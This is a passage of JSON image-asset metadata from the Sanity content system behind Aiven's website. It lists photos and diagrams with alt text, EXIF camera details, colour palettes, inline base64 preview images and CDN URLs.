mnM1CMzEEt5XWV9K1xfe/jfwHYxNk5Jib+ygAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#423934","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#813303","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9660c","foreground":"#fff","population":1.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#debebc","foreground":"#000","population":0.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6484","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9660c","foreground":"#fff","population":1.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"FOSS_Backstage_writeup_blog.png","path":"images/sczeoy4w/production/f7ad73f62e98dc72009fb41e6f22542c2ddc683a-464x250.png","sha1hash":"f7ad73f62e98dc72009fb41e6f22542c2ddc683a","size":42907,"uploadId":"0lcmcxtRl3nAZ6pdev1jpQanBnz8eXoz","url":"https://cdn.sanity.io/images/sczeoy4w/production/f7ad73f62e98dc72009fb41e6f22542c2ddc683a-464x250.png"} {"_createdAt":"2023-05-22T10:10:32Z","_id":"image-af03328008a527fa03b2e10008388f054cbf5be5-6048x4024-jpg","_rev":"IpnbDuG6FYGmZQ2TBN7VVT","_type":"sanity.imageAsset","_updatedAt":"2023-05-22T10:20:17Z","altText":"Aiven team putting sticky notes to white board","assetId":"af03328008a527fa03b2e10008388f054cbf5be5","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.502982107355865,"height":4024,"width":6048},"exif":{"ApertureValue":3.356144,"BodySerialNumber":"6038452","ColorSpace":1,"Contrast":0,"CustomRendered":1,"DateTimeDigitized":"2023-04-27T09:41:51.000Z","DateTimeOriginal":"2023-04-27T09:41:51.000Z","ExposureBiasValue":0,"ExposureMode":1,"ExposureProgram":1,"ExposureTime":0.01,"FNumber":3.2,"Flash":0,"FocalLength":56,"FocalLengthIn35mmFormat":56,"FocalPlaneResolutionUnit":3,"FocalPlaneXResolution":1683.0665283203125,"FocalPlaneYResolution":1683.0665283203125,"GainControl":1,"ISO":2500,"LensModel":"VR 24-70mm f/2.8E","LensSpecification":[24,70,2.8,2.8],"LightSource":0,"MeteringMode":5,"PixelXDimension":6048,"PixelYDimension":4024,"RecommendedExposureIndex":2500,"Saturation":0,"SceneCaptureType":0,"SensingMethod":2,"SensitivityType":2,"Sharpness":2,"ShutterSpeedValue":6.643856,"SubSecTime":"69","SubSecTimeDigitized":"69","SubSecTimeOriginal":"69","SubjectDistanceRange":0,"WhiteBalance":1,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHBv/EACQQAAEEAgECBwAAAAAAAAAAAAECAwQFABEhMUEGExUiMmGB/8QAFgEBAQEAAAAAAAAAAAAAAAAABQED/8QAHxEAAQMDBQAAAAAAAAAAAAAAAQACMQMRQRIhMkJR/9oADAMBAAIRAxEAPwCdreiJsGY9SpTx2hxKlnk6PP5mviR4tu3Z2E2Ohx1xQSE7+KehOTmtrU+nWVk0842/CGmwOhH3jvwDYvGDIS57wU75Pc4RUHYQJSrLcTOPE8t6FqVIbcjoDbXlhKRvsMMXuyXnlBanFDY4APTDMw5w2uodJwv/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e462d","foreground":"#fff","population":1.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d1408","foreground":"#fff","population":1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a68150","foreground":"#fff","population":8.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1b0a0","foreground":"#000","population":0.84,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3aa70","foreground":"#000","population":0.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a68150","foreground":"#fff","population":8.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce6d1a","foreground":"#fff","population":1.97,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"AIVEN3739 (2).jpg","path":"images/sczeoy4w/production/af03328008a527fa03b2e10008388f054cbf5be5-6048x4024.jpg","sha1hash":"af03328008a527fa03b2e10008388f054cbf5be5","size":17447725,"title":null,"uploadId":"8Ta4WrjYPWmfB2248RtgfljkoMjjZrCB","url":"https://cdn.sanity.io/images/sczeoy4w/production/af03328008a527fa03b2e10008388f054cbf5be5-6048x4024.jpg"} {"_createdAt":"2022-09-01T15:45:22Z","_id":"image-7f95725e5c63cb050078100b9fea86d31f2c6207-2708x1771-webp","_rev":"4pG2it9AJU1nJxbjoHStAg","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T10:49:36Z","altText":"CDC with Apache Kafka® Connect (IoT sensor data)","assetId":"7f95725e5c63cb050078100b9fea86d31f2c6207","description":null,"extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"VfJ7L1IpM{TKIA~WX8ofozRP9Zx]x]smof+akWXmWBWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5290796160361377,"height":1771,"width":2708},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAPoAAAD6AG1e1JrAAAD4ElEQVQ4jWXNfVAUdRzH8e/uHnBHRFxOUsZY4IwJUrdgMFR/aNo4GUMCVjYIWRKjGBVhIhTQRJAj0+RIhiMzZVH2YE4D2ViZDRgIXNwDx93e3d7u7e3uPbHL3p2HPAgYv+au/uuP93z++r6+IElSuiTJT8szSnFIZLbM2kdKZp3XnwlTQ/eG2+/HURPgyy3J+O1GwBfb03H/le5EQf9TsnfwXBI/1p/KW65lxhv7MWWuORUDRVEyZhTlBSUUroj6PMXznO2Ded7eGvVYswO9pcRq92P4/Nli4nY94NylkwkTNleO3iHsNjv5fJm3FURF07tR0fxO2GPKDXdsJkCW5eRAIPigzx/YEBKY7JuCq/ymnyuJBNzpCCHgfQgUhMDNIbBYx5NMTvdzRpr7fIoVXpZ97Nao33Yi6qe6wl57XqQjm4DY0Us1jVhTfYPq6pddasE4eJffak8Tx+2aoIlNkq2CWrGLSZbfJzXX9fb1Nof9NRdDXWDd9GGaYXP9PP24JLoKpxnjmoU2LQGyxwlnevtUHW3tmrf2bVOPft2n5X41PuodonZJZq5cmeQrQpRYyo869xrGqOa/rNRxxu14z8Fyx8YpvtpCC0U0zWoNfW2qxY51BATG+qH1/RPE2280JB+q2JFs/OVKJj9MHfTpXR/LNuEzxea9GKYDZ70m91cWE3XtT5ul28wyL1pZ3ymjU7jscIvNosDns5MjqbNdm1SAUC9UVb+OvVpVlVhbWqTWXx5Y67WwW4MOce8MFzwQ8kzXRUR5v58RD1poqnPQOVEz5WG2M+L0GQvjHbG6+FaO8xTxlOHucOeGGAhAPFQCr5TtxE/vy1UZe2oSZXZCowS5lFDQkxqRvWk3JOFOf4DRWoWpB0adoxm+gJDD+aTjBqf47bCZ3m0xTWjF3z5JDLSsI6ClJBMgA8GlukfgRnMKhg4DjtIAQwDwv54FDG0BLOI2aTleeMpsZ/cMjxuyvtsJuDELMP6IFofsh/PgiQIdwPrtgD4EWO28D1vq2YbdOleOLZ2vxJe/r8aXz1fii1/swaTTBRhfD1hwoBXnTYMaxjR8h3PoYsLUyedxw5vrMbpWDUCSZDwdSUJeXj78vH8toCaApaMAy0cBbjXisNIAsNCVA9IPRyD0xykIIQRzS3/DwtIKLCIE3wDA1bpNgMIfxUGCJMkEkiRVOp0Ou2djIVyoWAPoUwB0DGC16d+NPVk9BIB6CkFCCJS5FQiG50GcRTAWA2uzAKFgHFSTJJlCkqSG1OmIPFIHG3Pz4cnCzXEsDsY2hv8HR+oB+ssw6N6Bw0AZBvoqgNFKgKkDGPwDk3omgz4ESbEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3844","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#18548e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a3c4d2","foreground":"#000","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3c4d2","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd868","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#52a270","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc196e","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/webp","opt":{"media":{"tags":null}},"originalFilename":"cdc-with-apache-kafka-connect-iot-sensor-data.webp","path":"images/sczeoy4w/production/7f95725e5c63cb050078100b9fea86d31f2c6207-2708x1771.webp","sha1hash":"7f95725e5c63cb050078100b9fea86d31f2c6207","size":97976,"title":null,"uploadId":"pii0i1vBfHmPimTQZA5L9szSAkpRK1Ps","url":"https://cdn.sanity.io/images/sczeoy4w/production/7f95725e5c63cb050078100b9fea86d31f2c6207-2708x1771.webp"} {"_createdAt":"2023-05-22T10:10:32Z","_id":"image-07d19764f975552a82a6887c21445943c85b250f-6000x4000-jpg","_rev":"4JMA3H9bBgAwAcyypUHOtD","_type":"sanity.imageAsset","_updatedAt":"2023-05-22T10:14:05Z","altText":"Aiven team photo with the huge Crab logo","assetId":"07d19764f975552a82a6887c21445943c85b250f","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4000,"width":6000},"exif":{"ApertureValue":4.643856,"BodySerialNumber":"03773355","BrightnessValue":8.025,"ColorSpace":1,"Contrast":0,"CustomRendered":0,"DateTimeDigitized":"2023-04-25T17:07:26.000Z","DateTimeOriginal":"2023-04-25T17:07:26.000Z","DigitalZoomRatio":1,"ExposureBiasValue":0,"ExposureMode":0,"ExposureProgram":3,"ExposureTime":0.005,"FNumber":5,"Flash":16,"FocalLength":70,"FocalLengthIn35mmFormat":70,"FocalPlaneResolutionUnit":3,"FocalPlaneXResolution":1683.9364013671875,"FocalPlaneYResolution":1683.9364013671875,"ISO":100,"LensModel":"FE 70-200mm F2.8 GM OSS","LensSpecification":[70,200,2.8,2.8],"LightSource":0,"MaxApertureValue":2.96875,"MeteringMode":5,"RecommendedExposureIndex":100,"Saturation":0,"SceneCaptureType":0,"SensitivityType":2,"Sharpness":0,"ShutterSpeedValue":7.643856,"SubSecTimeDigitized":"401","SubSecTimeOriginal":"401","WhiteBalance":0,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAf/xAAhEAACAgIBBQEBAAAAAAAAAAABAgMEABEFBhIUIUETUf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAHhEAAgEDBQAAAAAAAAAAAAAAAAIBAxFREhMhQrH/2gAMAwEAAhEDEQA/AFHP2OOnloPRna0acaosAj1sg/TifnOVucrKalzjhVsg96nu2dfzKZulKVORq9d5FNlghfeyuvozZS6XSdY68lyRnEmhMyAtretbyfcS8clKqyxKZJhILbxp4dh/zVQpEi+wfuGdCucCnFS+PHO0g13FmX2ScMLXSx4JFG/Y/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493d37","foreground":"#fff","population":5.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66161f","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d2caa4","foreground":"#000","population":5.28,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2caa4","foreground":"#000","population":5.28,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c1a9","foreground":"#000","population":1.86,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f716b","foreground":"#fff","population":4.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d97844","foreground":"#fff","population":0.78,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"AIVEN2173 (3).jpg","path":"images/sczeoy4w/production/07d19764f975552a82a6887c21445943c85b250f-6000x4000.jpg","sha1hash":"07d19764f975552a82a6887c21445943c85b250f","size":16110508,"title":null,"uploadId":"ZWfD9iU4fKQxK4mKetkhAbu011y1iLMy","url":"https://cdn.sanity.io/images/sczeoy4w/production/07d19764f975552a82a6887c21445943c85b250f-6000x4000.jpg"} {"_createdAt":"2023-05-22T10:10:30Z","_id":"image-2f60b900fb9fc5207ce295b8dc3cc4c98f7b2993-6000x4000-jpg","_rev":"Sutmd0597BicUlBXYK428u","_type":"sanity.imageAsset","_updatedAt":"2023-05-22T10:24:52Z","altText":"Aiven team arriving to the venue with suitcases","assetId":"2f60b900fb9fc5207ce295b8dc3cc4c98f7b2993","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4000,"width":6000},"exif":{"ApertureValue":4,"BodySerialNumber":"03773355","BrightnessValue":10.3140625,"ColorSpace":1,"Contrast":0,"CustomRendered":0,"DateTimeDigitized":"2023-04-24T15:18:08.000Z","DateTimeOriginal":"2023-04-24T15:18:08.000Z","DigitalZoomRatio":1,"ExposureBiasValue":0,"ExposureMode":0,"ExposureProgram":3,"ExposureTime":0.0005,"FNumber":4,"Flash":16,"FocalLength":24,"FocalLengthIn35mmFormat":24,"FocalPlaneResolutionUnit":3,"FocalPlaneXResolution":1683.9364013671875,"FocalPlaneYResolution":1683.9364013671875,"ISO":125,"LensModel":"FE 24-105mm F4 G OSS","LensSpecification":[24,105,4,4],"LightSource":0,"MaxApertureValue":4,"MeteringMode":5,"RecommendedExposureIndex":125,"Saturation":0,"SceneCaptureType":0,"SensitivityType":2,"Sharpness":0,"ShutterSpeedValue":10.965784,"SubSecTimeDigitized":"201","SubSecTimeOriginal":"201","WhiteBalance":0,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcBAwX/xAAkEAABAwQBAwUAAAAAAAAAAAABAgMEAAUREgYHIUEiIzEyUf/EABYBAQEBAAAAAAAAAAAAAAAAAAQBAv/EAB8RAAEDAwUAAAAAAAAAAAAAAAEAAwQCE1IFEhUhof/aAAwDAQACEQMRAD8AwuBcgiMomPSMDdvRKfBJqjkN2g2u4RGQwvV31K3TjOfynVf+nFhlRobDEZMRDDoX7Q+2PBqeRcFtN0eiyJaCtcYAN9vgCo0+Y5NnoFbei0SRTfG4hK8uQ0pTrb5qgUg5S0cUU412ZJ10kvNpCQAlJGBRSOTk5eIZ0WJiv//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#714d3d","foreground":"#fff","population":7.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#045cac","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#936042","foreground":"#fff","population":7.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8aab1","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd9cc","foreground":"#000","population":0.56,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#936042","foreground":"#fff","population":7.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#057fb6","foreground":"#fff","population":4.1,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"AIVEN0187 (1).jpg","path":"images/sczeoy4w/production/2f60b900fb9fc5207ce295b8dc3cc4c98f7b2993-6000x4000.jpg","sha1hash":"2f60b900fb9fc5207ce295b8dc3cc4c98f7b2993","size":13435001,"title":null,"uploadId":"uryO46V9yiKfCD7FcfqFZKqBeU3QCjZr","url":"https://cdn.sanity.io/images/sczeoy4w/production/2f60b900fb9fc5207ce295b8dc3cc4c98f7b2993-6000x4000.jpg"} {"_createdAt":"2023-05-22T10:10:34Z","_id":"image-53fb6a0ee84028859c58e708aee0706e974ad414-5513x3675-jpg","_rev":"4JMA3H9bBgAwAcyypUIcv9","_type":"sanity.imageAsset","_updatedAt":"2023-05-22T10:20:53Z","altText":"Aiven team chilling by the pool","assetId":"53fb6a0ee84028859c58e708aee0706e974ad414","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5001360544217688,"height":3675,"width":5513},"exif":{"ApertureValue":2.970854,"BodySerialNumber":"03773355","BrightnessValue":-0.80703125,"ColorSpace":1,"Contrast":0,"CustomRendered":0,"DateTimeDigitized":"2023-04-26T21:47:00.000Z","DateTimeOriginal":"2023-04-26T21:47:00.000Z","DigitalZoomRatio":1,"ExposureBiasValue":0,"ExposureMode":1,"ExposureProgram":1,"ExposureTime":0.008,"FNumber":2.8,"Flash":15,"FocalLength":100,"FocalLengthIn35mmFormat":100,"FocalPlaneResolutionUnit":3,"FocalPlaneXResolution":1683.9364013671875,"FocalPlaneYResolution":1683.9364013671875,"ISO":1600,"LensModel":"FE 70-200mm F2.8 GM OSS","LensSpecification":[70,200,2.8,2.8],"LightSource":0,"MaxApertureValue":2.96875,"MeteringMode":5,"RecommendedExposureIndex":1600,"Saturation":0,"SceneCaptureType":0,"SensitivityType":2,"Sharpness":0,"ShutterSpeedValue":6.965784,"SubSecTimeDigitized":"606","SubSecTimeOriginal":"606","WhiteBalance":0,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMFBgf/xAAiEAACAQQCAgMBAAAAAAAAAAABAgMABAUREiEyQRMVMUL/xAAWAQEBAQAAAAAAAAAAAAAAAAAFAQP/xAAcEQACAgIDAAAAAAAAAAAAAAABAgADESEEE2H/2gAMAwEAAhEDEQA/AOSC8aHIxxossLxHirAaO/zuqN5bZC2yTRNzk5pzXX9g1YvcLGmWsyJWLSLssw2QT7ppylxZGSEfHIwBAdkG6PfrNjA7i/GYXVCxWxnyZdbyzg2n0kTEeRdu9+6KTmUV70yN5OoY667oqpYuBMXLBiNT/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b2d3c","foreground":"#fff","population":1.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e3906","foreground":"#fff","population":2.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d16a11","foreground":"#fff","population":2.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cba8c4","foreground":"#000","population":0.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef7075","foreground":"#000","population":0.84,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7568ab","foreground":"#fff","population":1.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d16a11","foreground":"#fff","population":2.63,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"AIVEN3473 (1).jpg","path":"images/sczeoy4w/production/53fb6a0ee84028859c58e708aee0706e974ad414-5513x3675.jpg","sha1hash":"53fb6a0ee84028859c58e708aee0706e974ad414","size":19605134,"title":null,"uploadId":"jkIJcIBH40bMkaqKnWb3zt4d96nuqDIr","url":"https://cdn.sanity.io/images/sczeoy4w/production/53fb6a0ee84028859c58e708aee0706e974ad414-5513x3675.jpg"} {"_createdAt":"2022-09-02T14:50:05Z","_id":"image-978c7e690f664ed27d89ccfd91ffa3af7715ebec-950x950-png","_rev":"0gThdvMbf71ZLkDCR4RpNK","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T14:50:05Z","assetId":"978c7e690f664ed27d89ccfd91ffa3af7715ebec","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEHeIB~W9a$f-nI=0LR5ROx]?ZR4Dio~WX.STKS2V@t79a9tXRozR+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":950,"width":950},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#452926","foreground":"#fff","population":6.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#732721","foreground":"#fff","population":0.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c6ad95","foreground":"#000","population":14.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6ad95","foreground":"#000","population":14.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eda995","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a98c5c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c54534","foreground":"#fff","population":0.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"collage-aiven-people-2.png","path":"images/sczeoy4w/production/978c7e690f664ed27d89ccfd91ffa3af7715ebec-950x950.png","sha1hash":"978c7e690f664ed27d89ccfd91ffa3af7715ebec","size":248789,"uploadId":"fvS2t7zDBAfS62KaRptHmGgh93NzM8Wu","url":"https://cdn.sanity.io/images/sczeoy4w/production/978c7e690f664ed27d89ccfd91ffa3af7715ebec-950x950.png"} {"_createdAt":"2022-09-17T21:00:03Z","_id":"image-4c67eff37d8b60b1a463d6f30dc2933a1d368fe7-1567x844-png","_rev":"8WeirZ6KB9gJqgJfviPu7t","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:35:52Z","assetId":"4c67eff37d8b60b1a463d6f30dc2933a1d368fe7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdOg7]?woJE1-;bJR%aKW;t7?bD%V@%MNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACtElEQVQokXWSy08TURjF5z8yblyIRoMGF6ILHpGIC1pKIDamYgRWumBhDGJMFCXyDqD4QmIEhQClDx6FItMXfc6UMo9OO3daWqDEGLjHdAgLjS5+uTff4tzznXOZZCqHhKBiWyQQJA3bogpBJFDSOajaPkim8AfFWTK1A35LQYyXICk7ULU9qGQXRNsDE+MkrKyycC66seza0O/udT+iMRHFx1Lqrk6a7Oli8YQCm2MFI6PvMDQ0CpfdCs1rRZ6dQibKgglFEliwLePb93lMzyxgds4Bm31FFw0EeR2PL4JgKK5vssEG0dM7gJbWNp